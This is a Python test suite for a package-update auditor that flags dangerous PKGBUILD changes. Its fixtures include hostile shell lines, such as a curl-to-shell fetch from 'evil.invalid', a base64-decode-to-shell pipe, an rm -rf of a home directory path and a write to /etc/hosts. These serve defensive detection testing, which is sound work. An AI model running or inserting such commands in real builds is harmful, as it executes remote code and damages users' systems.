git/orchard/main
tests/test_audit.py
374 lines13 KB last change raw · history
"""Audit rules. The tests that matter are the false-negative and false-positive
ones: a missed `curl | sh` is dangerous, and a rule that fires on every benign
version bump is worse than no rule at all, because the user stops reading.
"""

from __future__ import annotations

import sys
from pathlib import Path

sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

from updater.audit import (  # noqa: E402
    Change,
    Severity,
    audit,
    domain_of,
    filename_of,
    semantic_diff,
)
from updater.srcinfo import parse_pkgbuild, parse_srcinfo  # noqa: E402

BENIGN_OLD = """pkgbase = demo
\tpkgver = 1.0.0
\tpkgrel = 1
\tsource = https://github.com/u/demo/archive/v1.0.0.tar.gz
\tsha256sums = aaaa
\tdepends = glibc

pkgname = demo
"""

BENIGN_NEW = BENIGN_OLD.replace("1.0.0", "1.0.1").replace("sha256sums = aaaa", "sha256sums = bbbb")

PKGBUILD = """pkgname=demo
pkgver={ver}
source=("{url}")
sha256sums=('{sum}')
depends=('glibc')

build() {{
  cd "$srcdir/demo-$pkgver"
  {body}
}}
"""


def make(
    old_ver="1.0.0",
    new_ver="1.0.1",
    old_body="make",
    new_body="make",
    old_url="https://github.com/u/demo/archive/v1.0.0.tar.gz",
    new_url="https://github.com/u/demo/archive/v1.0.1.tar.gz",
    old_sum="aaaa",
    new_sum="bbbb",
    name="demo",
) -> Change:
    def si(ver, url, sum_, srcinfo=True):
        if srcinfo:
            return parse_srcinfo(
                f"pkgbase = {name}\n\tpkgver = {ver}\n\tpkgrel = 1\n"
                f"\tsource = {url}\n\tsha256sums = {sum_}\n\tdepends = glibc\n\n"
                f"pkgname = {name}\n"
            )
        return None

    return Change(
        package=name,
        old_srcinfo=si(old_ver, old_url, old_sum),
        new_srcinfo=si(new_ver, new_url, new_sum),
        old_pkgbuild=parse_pkgbuild(
            PKGBUILD.format(ver=old_ver, url=old_url, sum=old_sum, body=old_body)
        ),
        new_pkgbuild=parse_pkgbuild(
            PKGBUILD.format(ver=new_ver, url=new_url, sum=new_sum, body=new_body)
        ),
    )


# --------------------------------------------------------------------------
# false positives: a boring version bump must stay boring
# --------------------------------------------------------------------------


def test_benign_version_bump_has_no_loud_findings():
    report = audit(make())
    loud = report.loud
    assert not loud, f"benign bump produced {[f.rule for f in loud]}"
    assert report.verdict is Severity.INFO
    assert report.diff.pkgver == ("1.0.0", "1.0.1")


def test_preexisting_patterns_are_not_reported_as_new():
    """A curl|sh that has been there for years is not this update's problem."""
    body = "curl https://x.invalid/i.sh | sh"
    report = audit(make(old_body=body, new_body=body))
    assert not [f for f in report.findings if f.rule == "pipe-to-shell"], (
        "pre-existing pipe-to-shell flagged as newly introduced"
    )


def test_preexisting_sudo_downgrades_to_silence():
    report = audit(make(old_body="sudo make install", new_body="sudo make install"))
    assert not [f for f in report.findings if f.rule == "sudo-in-pkgbuild"]


# --------------------------------------------------------------------------
# false negatives: genuinely dangerous changes must be caught
# --------------------------------------------------------------------------


def test_newly_introduced_pipe_to_shell_is_blocked():
    report = audit(make(new_body="curl https://evil.invalid/i.sh | sh"))
    blocked = [f for f in report.findings if f.severity is Severity.BLOCK]
    assert [f.rule for f in blocked] == ["pipe-to-shell"]
    assert "evil.invalid" in blocked[0].evidence
    assert blocked[0].where == "PKGBUILD"
    assert report.verdict is Severity.BLOCK


def test_newly_introduced_sudo_is_blocked():
    report = audit(make(new_body="sudo make install"))
    assert "sudo-in-pkgbuild" in [f.rule for f in report.findings]


def test_base64_decode_to_shell_is_blocked():
    report = audit(make(new_body="echo aGk= | base64 -d | sh"))
    assert "decode-to-shell" in [f.rule for f in report.findings if f.severity is Severity.BLOCK]


def test_rm_outside_builddir_is_blocked():
    report = audit(make(new_body='rm -rf "$HOME/.cache"'))
    assert "rm-outside-builddir" in [f.rule for f in report.findings]


def test_writing_to_etc_during_build_is_blocked():
    report = audit(make(new_body="echo something >> /etc/hosts"))
    assert "write-system-path" in [f.rule for f in report.findings]


def test_setuid_bit_is_blocked():
    report = audit(make(new_body="chmod u+s bin/tool"))
    assert "setuid" in [f.rule for f in report.findings]


def test_network_fetch_inside_build_is_flagged():
    report = audit(make(new_body="curl -O https://x.invalid/extra.tar.gz"))
    assert "network-in-build" in [f.rule for f in report.findings]


def test_git_clone_inside_build_is_flagged():
    report = audit(make(new_body="git clone https://x.invalid/thing"))
    assert "git-clone-in-build" in [f.rule for f in report.findings]


def test_source_domain_change_is_flagged():
    change = make(new_url="https://mirror.sketchy.invalid/demo-1.0.1.tar.gz")
    report = audit(change)
    moves = report.diff.sources_moved
    assert moves, "source move not detected"
    assert moves[0].new_domain == "mirror.sketchy.invalid"
    assert "source-domain-changed" in [f.rule for f in report.findings]


def test_same_host_different_path_is_not_a_domain_change():
    change = make(new_url="https://github.com/u/demo/archive/v1.0.1.tar.gz?v=2")
    report = audit(change)
    assert not [f for f in report.findings if f.rule == "source-domain-changed"]


# --------------------------------------------------------------------------
# checksums
# --------------------------------------------------------------------------


def test_skip_introduced_on_non_vcs_is_blocked():
    new = BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP")
    change = make()
    change.new_srcinfo = parse_srcinfo(new)
    report = audit(change)
    blocked = [f.rule for f in report.findings if f.severity is Severity.BLOCK]
    assert "sums-skip-introduced" in blocked


def test_skip_with_a_vcs_source_is_only_informational():
    """A live repository cannot be checksummed, so SKIP is the only option."""
    change = make(name="demo-git", new_url="git+https://github.com/u/demo.git#tag=v1.0.1")
    change.new_srcinfo = parse_srcinfo(
        BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP").replace(
            "source = https://github.com/u/demo/archive/v1.0.1.tar.gz",
            "source = git+https://github.com/u/demo.git#tag=v1.0.1",
        )
    )
    report = audit(change)
    rules = {f.rule: f.severity for f in report.findings}
    assert rules.get("sums-skip-vcs") is Severity.INFO
    assert "sums-skip-introduced" not in rules
    assert report.verdict is Severity.INFO


def test_git_suffix_alone_does_not_excuse_skip():
    """The package name is not evidence; the source scheme is."""
    change = make(name="demo-git")
    change.new_srcinfo = parse_srcinfo(BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP"))
    report = audit(change)
    assert "sums-skip-introduced" in [
        f.rule for f in report.findings if f.severity is Severity.BLOCK
    ]


def test_preexisting_non_vcs_skip_is_not_reblocked():
    """A long-standing SKIP on a tarball is bad, but it is not this update's news."""
    change = make()
    change.old_srcinfo = parse_srcinfo(BENIGN_OLD.replace("sha256sums = aaaa", "sha256sums = SKIP"))
    change.new_srcinfo = parse_srcinfo(BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP"))
    report = audit(change)
    rules = {f.rule: f.severity for f in report.findings}
    assert rules.get("sums-skip-existing") is Severity.INFO
    assert "sums-skip-introduced" not in rules


def test_pgp_key_removal_is_blocked():
    change = make()
    change.old_srcinfo = parse_srcinfo(BENIGN_OLD + "\tvalidpgpkeys = ABC123\n")
    change.new_srcinfo = parse_srcinfo(BENIGN_NEW)
    report = audit(change)
    assert "pgpkey-removed" in [f.rule for f in report.findings if f.severity is Severity.BLOCK]


# --------------------------------------------------------------------------
# maintainer / trust signals
# --------------------------------------------------------------------------


def test_maintainer_change_is_flagged_with_both_names():
    change = make()
    change.old_maintainer, change.new_maintainer = "olddev", "newdev"
    report = audit(change)
    finding = next(f for f in report.findings if f.rule == "maintainer-changed")
    assert "olddev" in finding.evidence and "newdev" in finding.evidence
    assert finding.severity is Severity.LOOK


def test_orphaning_is_reported_as_context_not_a_block():
    """Losing a maintainer is not the risk; gaining one is.

    An orphaned package is ordinary. It is being *adopted* that precedes an
    account takeover, so that is the case that earns attention.
    """
    change = make()
    change.old_maintainer, change.new_maintainer = "olddev", ""
    report = audit(change)
    assert "orphaned" in [f.rule for f in report.findings if f.severity is Severity.INFO]
    assert not [f for f in report.findings if f.severity is Severity.BLOCK]


def test_unchanged_maintainer_is_silent():
    change = make()
    change.old_maintainer = change.new_maintainer = "samedev"
    assert "maintainer-changed" not in [f.rule for f in audit(change).findings]


def test_new_replaces_is_flagged():
    change = make()
    change.new_srcinfo = parse_srcinfo(BENIGN_NEW + "\treplaces = other-pkg\n")
    report = audit(change)
    finding = next(f for f in report.findings if f.rule == "new-replaces")
    assert "other-pkg" in finding.evidence


def test_new_dependencies_are_listed_as_evidence():
    change = make()
    change.new_srcinfo = parse_srcinfo(BENIGN_NEW + "\tdepends = python-attrs\n")
    report = audit(change)
    finding = next(f for f in report.findings if f.rule == "new-runtime-dep")
    assert "python-attrs" in finding.evidence


# --------------------------------------------------------------------------
# semantic diff shape
# --------------------------------------------------------------------------


def test_semantic_diff_counts_function_and_line_changes():
    change = make(old_body="make", new_body="make\n  make docs")
    diff = semantic_diff(change)
    assert diff.funcs_changed == ["build"]
    assert diff.lines_added >= 1
    assert not diff.is_empty


def test_identical_metadata_produces_an_empty_diff():
    change = make(
        old_ver="1.0.0",
        new_ver="1.0.0",
        old_sum="aaaa",
        new_sum="aaaa",
        old_url="https://x.invalid/v1.tar.gz",
        new_url="https://x.invalid/v1.tar.gz",
    )
    assert semantic_diff(change).is_empty


def test_helpers():
    assert domain_of("https://github.com/u/r/archive/v1.tar.gz") == "github.com"
    assert domain_of("local.patch") == "(local)"
    assert filename_of("https://github.com/u/r/archive/v1.tar.gz") == "v1.tar.gz"
    assert filename_of("https://x.invalid/a.tar.gz?token=1#frag") == "a.tar.gz"
    # a `filename::` prefix must not be mistaken for the host
    assert (
        domain_of("alejandra-4.0.0.tar.gz::https://github.com/u/r/archive/x.tar.gz") == "github.com"
    )
    assert (
        filename_of("alejandra-4.0.0.tar.gz::https://github.com/u/r/x.tar.gz")
        == "alejandra-4.0.0.tar.gz"
    )
    assert domain_of("git+https://github.com/u/r.git#tag=v1") == "github.com"


def test_is_vcs_source_distinguishes_scheme_from_name():
    from updater.audit import is_vcs_source

    assert is_vcs_source("git+https://github.com/u/r.git")
    assert is_vcs_source("svn+https://svn.example.org/repo")
    assert is_vcs_source("name::git+https://github.com/u/r.git")
    assert not is_vcs_source("https://github.com/u/r/archive/v1.tar.gz")
    assert not is_vcs_source("https://github.com/u/r.git")  # pinned file, not a clone
    assert not is_vcs_source("local.patch")


def test_domain_change_from_filename_prefix_only_is_not_flagged():
    """Adding a `filename::` prefix is not a host change."""
    change = make(new_url="demo-1.0.1.tar.gz::https://github.com/u/demo/archive/v1.0.1.tar.gz")
    report = audit(change)
    assert not [f for f in report.findings if f.rule == "source-domain-changed"]


def test_a_broken_rule_does_not_kill_the_report(monkeypatch=None):
    """A rule raising must degrade to an informational finding, not a traceback."""
    import updater.audit as mod

    original = mod.RULES
    try:

        def explode(change):
            raise RuntimeError("boom")

        mod.RULES = original + (explode,)
        report = audit(make(new_body="sudo make install"))
        assert any("rule failed" in f.title for f in report.findings)
        assert "sudo-in-pkgbuild" in [f.rule for f in report.findings]
    finally:
        mod.RULES = original


def main() -> int:
    tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
    failed = 0
    for name, fn in tests:
        try:
            fn()
        except Exception as exc:  # noqa: BLE001
            failed += 1
            print(f"FAIL  {name}\n        {type(exc).__name__}: {exc}")
        else:
            print(f"ok    {name}")
    print(f"\n{len(tests) - failed}/{len(tests)} passed")
    return 1 if failed else 0


if __name__ == "__main__":
    raise SystemExit(main())